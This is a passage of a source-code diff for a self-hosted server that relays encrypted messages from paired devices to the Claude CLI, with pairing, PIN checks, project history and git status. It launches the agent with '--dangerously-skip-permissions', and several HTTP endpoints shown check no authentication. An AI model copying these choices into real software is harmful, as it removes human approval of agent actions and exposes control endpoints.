Conversation cleared'); - return json(res, { success: true }); - } - - // API: List available projects - if (pathname === '/api/projects' && method === 'GET') { - const projects = listProjects(); - console.log('[api] Returning', projects.length, 'projects'); - return json(res, { projects }); - } - - // API: Get project conversation history - if (pathname?.startsWith('/api/projects/') && pathname.endsWith('/conversation') && method === 'GET') { - const projectId = decodeURIComponent(pathname.split('/api/projects/')[1].replace('/conversation', '')); - if (!validateProjectId(projectId)) return json(res, { error: 'Invalid project ID' }, 400); - const project = getProject(projectId); - if (!project) { - return json(res, { error: 'Project not found' }, 404); - } - const conversation = loadProjectConversation(projectId); - console.log(`[api] Returning project ${projectId} conversation with`, conversation.messages.length, 'messages'); - return json(res, conversation); - } - - // API: Clear project conversation - if (pathname?.startsWith('/api/projects/') && pathname.endsWith('/conversation') && method === 'DELETE') { - const projectId = decodeURIComponent(pathname.split('/api/projects/')[1].replace('/conversation', '')); - if (!validateProjectId(projectId)) return json(res, { error: 'Invalid project ID' }, 400); - const project = getProject(projectId); - if (!project) { - return json(res, { error: 'Project not found' }, 404); - } - clearProjectConversation(projectId); - console.log(`[api] Project ${projectId} conversation cleared`); - return json(res, { success: true }); - } - - // API: Get streaming state for a project (used on reconnect to restore UI state) - if (pathname?.startsWith('/api/projects/') && pathname.endsWith('/streaming') && method === 'GET') { - const projectId = decodeURIComponent(pathname.split('/api/projects/')[1].replace('/streaming', '')); - if (!validateProjectId(projectId)) return json(res, { error: 'Invalid project ID' }, 400); - - // Check if there's an active job for any device on this project - let isStreaming = false; - let streamingDeviceKey: string | null = null; - for (const key of activeJobs.keys()) { - if (key.endsWith(`:${projectId}`)) { - isStreaming = true; - streamingDeviceKey = key; - break; - } - } - - // Get partial response if streaming - let partialResponse: PartialResponse | null = null; - if (streamingDeviceKey) { - const partials = loadPartialResponses(); - partialResponse = partials[streamingDeviceKey] || null; - } - - console.log(`[api] Streaming state for ${projectId}: isStreaming=${isStreaming}`); - return json(res, { - isStreaming, - partial: partialResponse ? { - text: partialResponse.text, - thinking: partialResponse.thinking, - activity: partialResponse.activity, - } : null, - }); - } - - // API: Cancel task for a project (HTTP fallback for unreliable WebSocket) - if (pathname?.startsWith('/api/projects/') && pathname.endsWith('/cancel') && method === 'POST') { - const projectId = decodeURIComponent(pathname.split('/api/projects/')[1].replace('/cancel', '')); - if (!validateProjectId(projectId)) return json(res, { error: 'Invalid project ID' }, 400); - console.log(`[api] HTTP cancel requested for project: ${projectId}`); - - // Find and abort all active jobs for this project (any device) - let cancelled = 0; - for (const [key, controller] of activeJobs.entries()) { - if (key.endsWith(`:${projectId}`)) { - console.log(`[api] Aborting job: ${key}`); - controller.abort(); - activeJobs.delete(key); - cancelled++; - } - } - - return json(res, { ok: true, cancelled }); - } - - // API: Get git status for a project - if (pathname?.startsWith('/api/projects/') && pathname.endsWith('/git') && method === 'GET') { - const projectId = decodeURIComponent(pathname.split('/api/projects/')[1].replace('/git', '')); - if (!validateProjectId(projectId)) return json(res, { error: 'Invalid project ID' }, 400); - const project = getProject(projectId); - if (!project) { - return json(res, { error: 'Project not found' }, 404); - } - - try { - // Get current branch - const branch = execSync('git rev-parse --abbrev-ref HEAD', { - cwd: project.path, - encoding: 'utf-8', - timeout: 5000, - }).trim(); - - // Check if working directory is dirty - const status = execSync('git status --porcelain', { - cwd: project.path, - encoding: 'utf-8', - timeout: 5000, - }).trim(); - const isDirty = status.length > 0; - - // Parse changed files - const changedFiles = status ? status.split('\n').length : 0; - const files = status ? status.split('\n').map(line => { - // Porcelain format: XY PATH (2 status chars + space + path) - const match = line.match(/^(..) (.+)$/); - return match - ? { status: match[1].trim(), path: match[2] } - : { status: '?', path: line.trim() }; - }) : []; - - // Get ahead/behind counts (may fail if no upstream) - let ahead = 0; - let behind = 0; - try { - const counts = execSync('git rev-list --left-right --count HEAD...@{upstream}', { - cwd: project.path, - encoding: 'utf-8', - timeout: 5000, - }).trim().split('\t'); - ahead = parseInt(counts[0], 10) || 0; - behind = parseInt(counts[1], 10) || 0; - } catch { - // No upstream configured, ignore - } - - console.log(`[api] Git status for ${projectId}: ${branch} ${isDirty ? '(dirty)' : '(clean)'}`); - return json(res, { - branch, - isDirty, - changedFiles, - files, - ahead, - behind, - }); - } catch (err) { - // Not a git repo or git not available - console.log(`[api] Git status failed for ${projectId}:`, err); - return json(res, { error: 'Not a git repository' }, 400); - } - } - - // API: Pair GET - get server public key - if (pathname?.startsWith('/pair/') && method === 'GET') { - reloadState(); - const token = pathname.split('/pair/')[1]; - - if (!serverState || serverState.pairingToken !== token) { - return json(res, { error: 'Invalid token' }, 400); - } - - return json(res, { serverPublicKey: serverState.publicKey }); - } - - // API: Pair POST - complete pairing (allows multiple devices) - if (pathname?.startsWith('/pair/') && method === 'POST') { - reloadState(); - const token = pathname.split('/pair/')[1]; - - if (!serverState || serverState.pairingToken !== token) { - return json(res, { error: 'Invalid token' }, 400); - } - - let body = ''; - for await (const chunk of req) { - body += chunk; - } - - const { clientPublicKey } = JSON.parse(body); - if (!clientPublicKey) { - return json(res, { error: 'Missing clientPublicKey' }, 400); - } - - const sharedSecret = deriveSharedSecret(serverState.privateKey, clientPublicKey); - const newDevice: Device = { - id: randomBytes(8).toString('hex'), - publicKey: clientPublicKey, - sharedSecret, - createdAt: new Date().toISOString(), - }; - - addDevice(newDevice); - devices = loadDevices(); - console.log(`> New device paired: ${newDevice.id} (total: ${devices.length})`); - - // Invalidate token after use (one-time use) - serverState.pairingToken = null; - saveServerState(serverState); - console.log('> Pairing token invalidated (one-time use)'); - - return json(res, { serverPublicKey: serverState.publicKey, deviceId: newDevice.id }); - } - - // API: Unpair specific device or all devices - if (pathname === '/api/unpair' && method === 'POST') { - let body = ''; - for await (const chunk of req) { - body += chunk; - } - - let deviceId: string | null = null; - try { - const parsed = JSON.parse(body); - deviceId = parsed.deviceId || null; - } catch { - // No body or invalid JSON - unpair all - } - - if (deviceId) { - // Remove specific device - removeDevice(deviceId); - console.log(`> Device ${deviceId} unpaired`); - } else { - // Remove all devices - const { writeFileSync } = await import('fs'); - const { join } = await import('path'); - const { homedir } = await import('os'); - const configDir = join(homedir(), '.config', 'claude-remote'); - writeFileSync(join(configDir, 'devices.json'), '[]'); - console.log('> All devices unpaired'); - } - - reloadState(); - return json(res, { success: true, deviceCount: devices.length }); - } - - // Static files (production) - const distPath = join(process.cwd(), 'dist', 'client'); - if (existsSync(distPath)) { - const requestedPath = pathname === '/' ? 'index.html' : (pathname || '').replace(/^\//, ''); - let filePath = resolve(distPath, requestedPath); - - // Path traversal protection: resolved path must be within distPath - if (!filePath.startsWith(distPath + '/') && filePath !== distPath) { - res.writeHead(403, { 'Content-Type': 'text/plain' }); - res.end('Forbidden'); - return; - } - - // SPA fallback - if (!existsSync(filePath) || !filePath.includes('.')) { - filePath = join(distPath, 'index.html'); - } - - if (existsSync(filePath)) { - const ext = filePath.split('.').pop() || ''; - const contentTypes: Record = { - html: 'text/html', - js: 'application/javascript', - css: 'text/css', - json: 'application/json', - png: 'image/png', - svg: 'image/svg+xml', - }; - - res.writeHead(200, { 'Content-Type': contentTypes[ext] || 'text/plain' }); - res.end(readFileSync(filePath)); - return; - } - } - - // 404 - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found'); -} - -async function main() { - pinHash = await hashPin(PIN!); - initializeServer(); - recoverPartialResponses(); - - const server = createServer(handleRequest); - const wss = new WebSocketServer({ noServer: true }); - - server.on('upgrade', (req, socket, head) => { - const { pathname } = parse(req.url || '', true); - - if (pathname === '/ws') { - wss.handleUpgrade(req, socket, head, (ws) => { - wss.emit('connection', ws, req); - }); - } else { - socket.destroy(); - } - }); - - wss.on('connection', (ws: WebSocket, req: IncomingMessage) => { - let authenticated = false; - let currentDevice: Device | null = null; - const clientIp = req.headers['x-forwarded-for']?.toString().split(',')[0]?.trim() - || req.socket.remoteAddress || 'unknown'; - - const sendEncrypted = (data: object) => { - if (!currentDevice) return; - if (ws.readyState !== WebSocket.OPEN) { - // Write to disk for later - appendEvent(currentDevice.id, data as ClaudeEvent); - console.log(`[${currentDevice.id}] Event written to disk (ws not open)`); - return; - } - const encrypted = encrypt(JSON.stringify(data), currentDevice.sharedSecret); - ws.send(JSON.stringify(encrypted)); - }; - - ws.on('message', async (raw: Buffer) => { - reloadState(); - if (devices.length === 0) { - ws.close(4001, 'No devices paired'); - return; - } - - let encrypted: EncryptedData; - try { - encrypted = JSON.parse(raw.toString()); - } catch (err) { - console.error('FATAL: Failed to parse WebSocket message as JSON:', err); - console.error('Raw message:', raw.toString().substring(0, 200)); - ws.close(4002, 'Invalid JSON'); - return; - } - - // Find device by trying decryption with each device's key - if (!currentDevice) { - currentDevice = findDeviceByDecryption(encrypted); - if (currentDevice) { - console.log(`Device identified: ${currentDevice.id}`); - } - } - - if (!currentDevice) { - console.error('FATAL: No device could decrypt message - client needs to re-pair'); - ws.close(4003, 'Decryption failed - re-pair required'); - return; - } - - let decrypted: string; - try { - decrypted = decrypt(encrypted, currentDevice.sharedSecret); - } catch (err) { - console.error('FATAL: Decryption failed - crypto keys mismatched. Client needs to re-pair.'); - console.error('Error:', err); - ws.close(4003, 'Decryption failed - re-pair required'); - return; - } - - let msg: { type: string; pin?: string; text?: string; projectId?: string }; - try { - msg = JSON.parse(decrypted); - } catch (err) { - console.error('FATAL: Failed to parse decrypted message as JSON:', err); - ws.close(4004, 'Invalid message format'); - return; - } - - console.log(`[${currentDevice.id}] Received message type:`, msg.type); - - if (msg.type === 'auth') { - if (!checkAuthRateLimit(clientIp)) { - console.log(`Auth rate limited for IP: ${clientIp}`); - sendEncrypted({ type: 'auth_error', error: 'Too many attempts. Try again later.' }); - return; - } - const valid = await verifyPin(msg.pin || '', pinHash); - if (valid) { - authenticated = true; - console.log('Auth successful'); - - // Register this connection - connectedClients.set(currentDevice.id, ws); - - // Find all active jobs for this device (across all projects) - const activeProjectIds: string[] = []; - for (const key of activeJobs.keys()) { - if (key.startsWith(`${currentDevice.id}:`)) { - // Extract projectId from key format "deviceId:projectId" - const projectId = key.substring(currentDevice.id.length + 1); - activeProjectIds.push(projectId); - } else if (key === currentDevice.id) { - // Legacy global job (no projectId) - activeProjectIds.push('__global__'); - } - } - - sendEncrypted({ type: 'auth_ok', activeProjectIds }); - - // Send partial responses for any active streaming sessions - // This sends the accumulated content BEFORE pending events (which are deltas) - if (activeProjectIds.length > 0) { - const partials = loadPartialResponses(); - for (const projectId of activeProjectIds) { - if (projectId === '__global__') continue; - const jKey = jobKey(currentDevice.id, projectId); - const partial = partials[jKey]; - if (partial) { - sendEncrypted({ - type: 'streaming_restore', - projectId, - thinking: partial.thinking, - text: partial.text, - activity: partial.activity, - }); - console.log(`[${currentDevice.id}] Sent streaming restore for ${projectId}`); - } - } - } - - // Flush any pending events from disk (but keep the file as backup) - // These are delta events that occurred after the partial response was saved - const pending = loadPendingEvents(currentDevice.id); - if (pending.length > 0) { - console.log(`[${currentDevice.id}] Flushing ${pending.length} pending events from disk`); - for (const event of pending) { - const encrypted = encrypt(JSON.stringify(event), currentDevice.sharedSecret); - ws.send(JSON.stringify(encrypted)); - } - // Don't clear - keep as backup log - } - } else { - console.log('Auth failed - invalid PIN'); - sendEncrypted({ type: 'auth_error', error: 'Invalid PIN' }); - } - } else if (msg.type === 'list_projects') { - // List available projects - const projects = listProjects(); - sendEncrypted({ type: 'projects_list', projects }); - } else if (msg.type === 'message') { - if (!authenticated) { - console.log('Message rejected - not authenticated'); - sendEncrypted({ type: 'error', error: 'Not authenticated' }); - return; - } - - const userText = msg.text || ''; - const projectId = msg.projectId; - console.log('Processing message:', userText.substring(0, 50), projectId ? `[project: ${projectId}]` : '[global]'); - - // Validate projectId format and existence - let projectPath: string | undefined; - if (projectId) { - if (!validateProjectId(projectId)) { - sendEncrypted({ type: 'error', error: `Invalid project ID: ${projectId}`, projectId }); - return; - } - const project = getProject(projectId); - if (!project) { - sendEncrypted({ type: 'error', error: `Project not found: ${projectId}`, projectId }); - return; - } - projectPath = project.path; - } - - // Save user message (to project or global) - if (projectId) { - addProjectMessage(projectId, { - role: 'user', - content: userText, - timestamp: new Date().toISOString(), - }); - } else { - addMessage({ - role: 'user', - content: userText, - timestamp: new Date().toISOString(), - }); - } - - // Broadcast user message + streaming start to other devices - broadcastToOthers(currentDevice.id, { - type: 'sync_user_message', - projectId, - text: userText, - }); - - const jKey = jobKey(currentDevice.id, projectId); - const abortController = new AbortController(); - activeJobs.set(jKey, abortController); - - // Track assistant response - let assistantThinking = ''; - let assistantText = ''; - const assistantActivity: ToolActivity[] = []; - const assistantChunks: OutputChunk[] = []; - let lastToolName: string | null = null; - let currentChunkText = ''; - const taskStartedAt = new Date().toISOString(); - - // Helper to detect if text starts a new chunk - const isNewChunkStart = (text: string): boolean => { - const trimmed = text.trim(); - // Text after a tool always starts a new chunk - if (lastToolName !== null) return true; - // Double newline indicates new section - if (text.startsWith('\n\n')) return true; - // Common transition phrases - if (/^(Now|Next|Let me|I'll|First|Finally|Done|After|Moving|Continuing|Great|Perfect|Looking|Based on|The |This |I |Here)/i.test(trimmed)) return true; - return false; - }; - - // Helper to flush current chunk - const flushChunk = (afterTool?: string) => { - if (currentChunkText.trim()) { - assistantChunks.push({ - text: currentChunkText.trim(), - timestamp: Date.now(), - afterTool, - }); - currentChunkText = ''; - } - }; - - // Get existing session ID for continuity - const sessionId = projectId ? getProjectSessionId(projectId) : getClaudeSessionId(); - console.log('Using Claude session:', sessionId || 'new session', projectId ? `[project: ${projectId}]` : ''); - - // On first resumed message after server boot, prepend context note - const rejoinKey = projectId || '__global__'; - let messageToSend = userText; - if (sessionId && !rejoinNoteSent.has(rejoinKey)) { - rejoinNoteSent.add(rejoinKey); - messageToSend = `[System: This is the first message from the user since the server rebooted.]\n\n${userText}`; - } - - const deviceId = currentDevice.id; - const deviceSecret = currentDevice.sharedSecret; - - spawnClaude(messageToSend, (event: ClaudeEvent) => { - console.log('[ws] Claude event:', event.type, event.sessionId ? `sessionId=${event.sessionId}` : '', projectId ? `[project: ${projectId}]` : ''); - - // Don't forward session_init to client, just save it - if (event.type === 'session_init' && event.sessionId) { - console.log('[ws] Saving session ID:', event.sessionId, projectId ? `[project: ${projectId}]` : ''); - if (projectId) { - saveProjectSessionId(projectId, event.sessionId); - } else { - saveClaudeSessionId(event.sessionId); - } - return; - } - - // Transform error events: Claude uses 'text', client expects 'error' - let transformedEvent = event; - if (event.type === 'error' && event.text && !('error' in event)) { - transformedEvent = { ...event, error: event.text }; - } - - // Include projectId in all events sent to client - const eventWithProject = projectId ? { ...transformedEvent, projectId } : transformedEvent; - - // Broadcast to ALL connected clients (not just the originating device) - const eventJson = JSON.stringify(eventWithProject); - let sentToAny = false; - for (const [connDeviceId, connWs] of connectedClients.entries()) { - if (connWs.readyState === WebSocket.OPEN) { - const connDevice = devices.find(d => d.id === connDeviceId); - if (connDevice) { - const encrypted = encrypt(eventJson, connDevice.sharedSecret); - connWs.send(JSON.stringify(encrypted)); - sentToAny = true; - } - } - } - if (!sentToAny) { - // No clients connected — write to disk for the originating device - appendEvent(deviceId, eventWithProject); - console.log(`[${deviceId}] Event written to disk (no clients connected)`); - } - - // Collect response for saving - if (event.type === 'thinking' && event.text) { - assistantThinking += event.text; - savePartialResponse(jKey, assistantText, assistantThinking, assistantActivity); - } else if (event.type === 'text' && event.text) { - // Check if this text starts a new chunk - if (isNewChunkStart(event.text) && currentChunkText.trim()) { - flushChunk(lastToolName || undefined); - lastToolName = null; - } - currentChunkText += event.text; - assistantText += event.text; - savePartialResponse(jKey, assistantText, assistantThinking, assistantActivity); - } else if (event.type === 'tool_use' && event.toolUse) { - // Flush any text before tool use - flushChunk(); - lastToolName = event.toolUse.tool; - assistantActivity.push({ - type: 'tool_use', - tool: event.toolUse.tool, - input: event.toolUse.input, - timestamp: Date.now(), - }); - savePartialResponse(jKey, assistantText, assistantThinking, assistantActivity); - } else if (event.type === 'tool_result' && event.toolResult) { - assistantActivity.push({ - type: 'tool_result', - tool: event.toolResult.tool, - output: event.toolResult.output, - error: event.toolResult.error, - timestamp: Date.now(), - }); - savePartialResponse(jKey, assistantText, assistantThinking, assistantActivity); - } else if (event.type === 'done') { - // Flush any remaining chunk - flushChunk(lastToolName || undefined); - - // Save assistant message when complete (to project or global) - if (assistantText || assistantThinking || assistantActivity.length > 0) { - const assistantMsg: Message = { - role: 'assistant', - content: assistantText, - task: userText, // Store the original user prompt - chunks: assistantChunks.length > 0 ? assistantChunks : undefined, - thinking: assistantThinking || undefined, - activity: assistantActivity.length > 0 ? assistantActivity : undefined, - startedAt: taskStartedAt, - completedAt: new Date().toISOString(), - timestamp: new Date().toISOString(), - }; - if (projectId) { - addProjectMessage(projectId, assistantMsg); - } else { - addMessage(assistantMsg); - } - } - // Clear pending debounced writes and partial response file - pendingPartials.delete(jKey); - clearPartialResponse(jKey); - // Clear active job - activeJobs.delete(jKey); - console.log(`[${deviceId}] Job complete for ${projectId || 'global'}, cleared from active jobs`); - } - }, abortController.signal, sessionId, projectPath); - } else if (msg.type === 'cancel') { - if (msg.projectId && !validateProjectId(msg.projectId)) { - sendEncrypted({ type: 'error', error: 'Invalid project ID' }); - return; - } - console.log('Cancel requested', msg.projectId ? `[project: ${msg.projectId}]` : '[global]'); - const jKey = jobKey(currentDevice.id, msg.projectId); - const abortController = activeJobs.get(jKey); - if (abortController) { - abortController.abort(); - activeJobs.delete(jKey); - } - // Notify other devices about the cancel - broadcastToOthers(currentDevice.id, { - type: 'sync_cancel', - projectId: msg.projectId, - }); - } else { - console.log('Unknown message type:', msg.type); - } - }); - - ws.on('close', () => { - // Don't abort - let Claude keep running - // Just remove from connected clients - if (currentDevice) { - connectedClients.delete(currentDevice.id); - console.log(`[${currentDevice.id}] Client disconnected, Claude will continue running`); - } - }); - }); - - server.listen(port, () => { - console.log(`> Server ready on ${serverUrl}`); - console.log(`> Client URL: ${clientUrl}`); - console.log(`> Paired devices: ${devices.length}`); - if (serverState.pairingToken) { - const pairUrl = `${clientUrl}/pair?server=${encodeURIComponent(serverUrl)}&token=${serverState.pairingToken}`; - console.log(`> Pair URL: ${pairUrl}`); - console.log(''); - qrcode.generate(pairUrl, { small: true }); - } - }); -} - -main(); - - - -######################### -### src/lib/claude.ts -import { spawn, ChildProcess } from 'child_process'; - -export interface ToolUseEvent { - tool: string; - input: Record; -} - -export interface ToolResultEvent { - tool: string; - output?: string; - error?: string; -} - -export interface ClaudeEvent { - type: 'thinking' | 'text' | 'error' | 'done' | 'session_init' | 'tool_use' | 'tool_result'; - text?: string; - sessionId?: string; - toolUse?: ToolUseEvent; - toolResult?: ToolResultEvent; -} - -export function spawnClaude( - message: string, - onEvent: (event: ClaudeEvent) => void, - signal?: AbortSignal, - sessionId?: string | null, - workingDirectory?: string -): ChildProcess { - const args = ['--print', '--output-format', 'stream-json', '--verbose', '--dangerously-skip-permissions']; - - if (sessionId) { - // Resume existing session - args.push('--resume', sessionId, '-p', message); - console.log('[claude] Resuming session:', sessionId); - } else { - // New session - args.push('-p', message); - console.log('[claude] Starting new session'); - } - - console.log('='.repeat(60)); - console.log('[claude] SPAWNING PROCESS'); - console.log('[claude] Command: claude', args.join(' ')); - console.log('[claude] Full args array:', JSON.stringify(args)); - console.log('[claude] Message:', message); - console.log('[claude] Working directory:', workingDirectory || '(current)'); - console.log('='.repeat(60)); - - const proc = spawn('claude', args, { - stdio: ['ignore', 'pipe', 'pipe'], // ignore stdin, pipe stdout/stderr - cwd: workingDirectory, - }); - - console.log('[claude] Process spawned, PID:', proc.pid); - - if (!proc.pid) { - const err = '[claude] FATAL: No PID - process failed to spawn!'; - console.error(err); - throw new Error(err); - } - - console.log('[claude] stdin ignored (not piped)'); - - // TIMEOUT: If no output after 10 seconds, something is wrong - let receivedOutput = false; - const timeout = setTimeout(() => { - if (!receivedOutput) { - const err = `[claude] FATAL: No output received after 10 seconds! Process may be hung. PID: ${proc.pid}`; - console.error(err); - console.error('[claude] Killing hung process...'); - proc.kill('SIGKILL'); - onEvent({ type: 'error', text: err }); - onEvent({ type: 'done' }); - } - }, 10000); - - const markOutputReceived = () => { - if (!receivedOutput) { - receivedOutput = true; - clearTimeout(timeout); - console.log('[claude] First output received, timeout cleared'); - } - }; - - let buffer = ''; - let sentAnyText = false; - let sentDone = false; - - const processLine = (line: string) => { - if (!line.trim()) return; - - console.log('[claude] Raw line:', line.substring(0, 150)); - - let data; - try { - data = JSON.parse(line); - } catch (err) { - console.error('[claude] Failed to parse JSON line:', line.substring(0, 100), err); - return; - } - - console.log('[claude] Parsed event type:', data.type, data.subtype || ''); - - // Handle the actual Claude CLI stream-json format - if (data.type === 'system' && data.subtype === 'init') { - const newSessionId = data.session_id; - console.log('[claude] Session initialized, ID:', newSessionId); - if (newSessionId) { - onEvent({ type: 'session_init', sessionId: newSessionId }); - } - } else if (data.type === 'assistant' && data.message) { - // Extract content from the message - const content = data.message.content; - if (Array.isArray(content)) { - for (const block of content) { - if (block.type === 'thinking' && block.thinking) { - console.log('[claude] Sending thinking'); - onEvent({ type: 'thinking', text: block.thinking }); - } else if (block.type === 'text' && block.text) { - console.log('[claude] Sending text'); - onEvent({ type: 'text', text: block.text }); - sentAnyText = true; - } else if (block.type === 'tool_use') { - // Send full tool use event - const toolName = block.name || 'unknown'; - const input = block.input || {}; - - console.log('[claude] Tool use:', toolName); - onEvent({ - type: 'tool_use', - toolUse: { - tool: toolName, - input: input as Record - } - }); - } - } - } - } else if (data.type === 'user' && data.message) { - // Tool results - const content = data.message.content; - if (Array.isArray(content)) { - for (const block of content) { - if (block.type === 'tool_result') { - console.log('[claude] Tool result received'); - // Extract tool result content - let output = ''; - if (typeof block.content === 'string') { - output = block.content; - } else if (Array.isArray(block.content)) { - output = block.content - .filter((c: { type: string }) => c.type === 'text') - .map((c: { text: string }) => c.text) - .join('\n'); - } - - onEvent({ - type: 'tool_result', - toolResult: { - tool: block.tool_use_id || 'unknown', - output: output.substring(0, 5000), // Limit size - error: block.is_error ? output : undefined - } - }); - } - } - } - } else if (data.type === 'result') { - console.log('[claude] Result received, sentAnyText:', sentAnyText, 'sentDone:', sentDone); - // Only send result text if we haven't sent any text blocks yet - // (avoids duplication for simple responses) - if (!sentAnyText && data.result && typeof data.result === 'string') { - console.log('[claude] Sending final result text (no prior text sent)'); - onEvent({ type: 'text', text: data.result }); - } - if (!sentDone) { - sentDone = true; - onEvent({ type: 'done' }); - } - } - }; - - proc.stdout?.on('data', (chunk: Buffer) => { - markOutputReceived(); - const text = chunk.toString(); - console.log('[claude] STDOUT received, length:', text.length); - console.log('[claude] STDOUT content:', text.substring(0, 200)); - buffer += text; - const lines = buffer.split('\n'); - buffer = lines.pop() || ''; - lines.forEach(processLine); - }); - - proc.stderr?.on('data', (chunk: Buffer) => { - markOutputReceived(); - const text = chunk.toString(); - console.error('[claude] STDERR:', text); - onEvent({ type: 'error', text }); - }); - - proc.on('close', (code, signal) => { - clearTimeout(timeout); - console.log('[claude] CLOSED - code:', code, 'signal:', signal, 'sentDone:', sentDone); - if (buffer.trim()) { - processLine(buffer); - } - if (code !== 0 && code !== null) { - const err = `[claude] FATAL: Process exited with code ${code}, signal: ${signal}`; - console.error(err); - onEvent({ type: 'error', text: err }); - } - if (!sentDone) { - sentDone = true; - onEvent({ type: 'done' }); - } - }); - - proc.on('error', (err) => { - clearTimeout(timeout); - const msg = `[claude] FATAL PROCESS ERROR: ${err.message}`; - console.error(msg, err); - onEvent({ type: 'error', text: msg }); - onEvent({ type: 'done' }); - }); - - proc.on('spawn', () => { - console.log('[claude] SPAWN EVENT - process started successfully'); - }); - - proc.on('disconnect', () => { - console.log('[claude] DISCONNECT EVENT'); - }); - - proc.on('exit', (code, signal) => { - console.log('[claude] EXIT EVENT - code:', code, 'signal:', signal); - }); - - if (signal) { - signal.addEventListener('abort', () => { - proc.kill('SIGTERM'); - }); - } - - return proc; -} - - - -######################### -### src/lib/crypto.ts -import { createECDH, createCipheriv, createDecipheriv, randomBytes, createHash } from 'crypto'; - -export interface EncryptedData { - iv: string; - ct: string; - tag: string; -} - -export interface KeyPair { - privateKey: string; - publicKey: string; -} - -export function generateKeyPair(): KeyPair { - const ecdh = createECDH('prime256v1'); - ecdh.generateKeys(); - return { - privateKey: ecdh.getPrivateKey('base64'), - publicKey: ecdh.getPublicKey('base64'), - }; -} - -export function deriveSharedSecret(privateKey: string, peerPublicKey: string): string { - const ecdh = createECDH('prime256v1'); - ecdh.setPrivateKey(Buffer.from(privateKey, 'base64')); - const secret = ecdh.computeSecret(Buffer.from(peerPublicKey, 'base64')); - // Hash with SHA-256 to ensure consistent 32-byte key across platforms - const hashed = createHash('sha256').update(secret).digest(); - return hashed.toString('base64'); -} - -export function encrypt(plaintext: string, secret: string): EncryptedData { - const key = Buffer.from(secret, 'base64'); // Already 32 bytes from SHA-256 hash - const iv = randomBytes(12); - const cipher = createCipheriv('aes-256-gcm', key, iv); - - const encrypted = Buffer.concat([ - cipher.update(plaintext, 'utf8'), - cipher.final(), - ]); - - return { - iv: iv.toString('base64'), - ct: encrypted.toString('base64'), - tag: cipher.getAuthTag().toString('base64'), - }; -} - -export function decrypt(data: EncryptedData, secret: string): string { - const key = Buffer.from(secret, 'base64'); // Already 32 bytes from SHA-256 hash - const iv = Buffer.from(data.iv, 'base64'); - const ct = Buffer.from(data.ct, 'base64'); - const tag = Buffer.from(data.tag, 'base64'); - - const decipher = createDecipheriv('aes-256-gcm', key, iv); - decipher.setAuthTag(tag); - - const decrypted = Buffer.concat([ - decipher.update(ct), - decipher.final(), - ]); - - return decrypted.toString('utf8'); -} - - - -######################### -### src/lib/store.ts -import { mkdirSync, readFileSync, writeFileSync, existsSync, readdirSync, statSync } from 'fs'; -import { join, basename } from 'path'; -import { homedir } from 'os'; -import argon2 from 'argon2'; - -const CONFIG_DIR = join(homedir(), '.config', 'claude-remote'); -const PROJECTS_DIR = join(CONFIG_DIR, 'projects'); -const DEFAULT_PROJECTS_BASE = join(homedir(), 'projects'); - -export interface Device { - id: string; - publicKey: string; - sharedSecret: string; - createdAt: string; -} - -export interface ServerState { - privateKey: string; - publicKey: string; - pairingToken: string | null; -} - -export interface Config { - pinHash: string | null; -} - -export interface ToolActivity { - type: 'tool_use' | 'tool_result'; - tool: string; - input?: Record; - output?: string; - error?: string; - timestamp: number; -} - -export interface OutputChunk { - text: string; - timestamp: number; - afterTool?: string; // which tool triggered this chunk (if any) -} - -export interface Message { - role: 'user' | 'assistant'; - content: string; // full text (for backwards compat and search) - task?: string; // user's original prompt (for assistant messages) - chunks?: OutputChunk[]; // structured output chunks - thinking?: string; - activity?: ToolActivity[]; - startedAt?: string; // when task started - completedAt?: string; // when task completed - timestamp: string; // legacy, use startedAt/completedAt -} - -export interface Conversation { - messages: Message[]; - claudeSessionId: string | null; - updatedAt: string; -} - -// Project-related interfaces -export interface Project { - id: string; // folder name e.g. "remote-claude-real" - path: string; // full path e.g. "/home/jamie/projects/remote-claude-real" - name: string; // display name (from package.json or folder) - lastAccessed?: string; -} - -export interface ProjectConversation { - projectId: string; - messages: Message[]; - claudeSessionId: string | null; - updatedAt: string; -} - -function ensureConfigDir() { - if (!existsSync(CONFIG_DIR)) { - mkdirSync(CONFIG_DIR, { recursive: true }); - } -} - -export function loadDevices(): Device[] { - try { - const path = join(CONFIG_DIR, 'devices.json'); - if (!existsSync(path)) return []; - return JSON.parse(readFileSync(path, 'utf8')); - } catch { - return []; - } -} - -export function saveDevices(devices: Device[]): void { - ensureConfigDir(); - writeFileSync(join(CONFIG_DIR, 'devices.json'), JSON.stringify(devices, null, 2)); -} - -export function addDevice(device: Device): void { - const devices = loadDevices(); - devices.push(device); - saveDevices(devices); -} - -export function removeDevice(deviceId: string): void { - const devices = loadDevices(); - const filtered = devices.filter(d => d.id !== deviceId); - saveDevices(filtered); -} - -export function getDeviceById(deviceId: string): Device | null { - const devices = loadDevices(); - return devices.find(d => d.id === deviceId) || null; -} - -// Legacy single device support (deprecated) -export function loadDevice(): Device | null { - try { - const path = join(CONFIG_DIR, 'device.json'); - if (!existsSync(path)) return null; - return JSON.parse(readFileSync(path, 'utf8')); - } catch { - return null; - } -} - -export function saveDevice(device: Device): void { - ensureConfigDir(); - writeFileSync(join(CONFIG_DIR, 'device.json'), JSON.stringify(device, null, 2)); -} - -export function loadServerState(): ServerState | null { - try { - const path = join(CONFIG_DIR, 'server.json'); - if (!existsSync(path)) return null; - return JSON.parse(readFileSync(path, 'utf8')); - } catch { - return null; - } -} - -export function saveServerState(state: ServerState): void { - ensureConfigDir(); - writeFileSync(join(CONFIG_DIR, 'server.json'), JSON.stringify(state, null, 2)); -} - -export function loadConfig(): Config { - try { - const path = join(CONFIG_DIR, 'config.json'); - if (!existsSync(path)) return { pinHash: null }; - return JSON.parse(readFileSync(path, 'utf8')); - } catch { - return { pinHash: null }; - } -} - -export function saveConfig(config: Config): void { - ensureConfigDir(); - writeFileSync(join(CONFIG_DIR, 'config.json'), JSON.stringify(config, null, 2)); -} - -export async function hashPin(pin: string): Promise { - return argon2.hash(pin, { - type: argon2.argon2id, - memoryCost: 65536, - timeCost: 3, - parallelism: 1, - }); -} - -export async function verifyPin(pin: string, hash: string): Promise { - try { - return await argon2.verify(hash, pin); - } catch { - return false; - } -} - -export function loadConversation(): Conversation { - try { - const path = join(CONFIG_DIR, 'conversation.json'); - if (!existsSync(path)) return { messages: [], claudeSessionId: null, updatedAt: new Date().toISOString() }; - const data = JSON.parse(readFileSync(path, 'utf8')); - // Ensure claudeSessionId exists for backwards compatibility - if (!('claudeSessionId' in data)) { - data.claudeSessionId = null; - } - return data; - } catch (err) { - console.error('[store] Failed to load conversation:', err); - return { messages: [], claudeSessionId: null, updatedAt: new 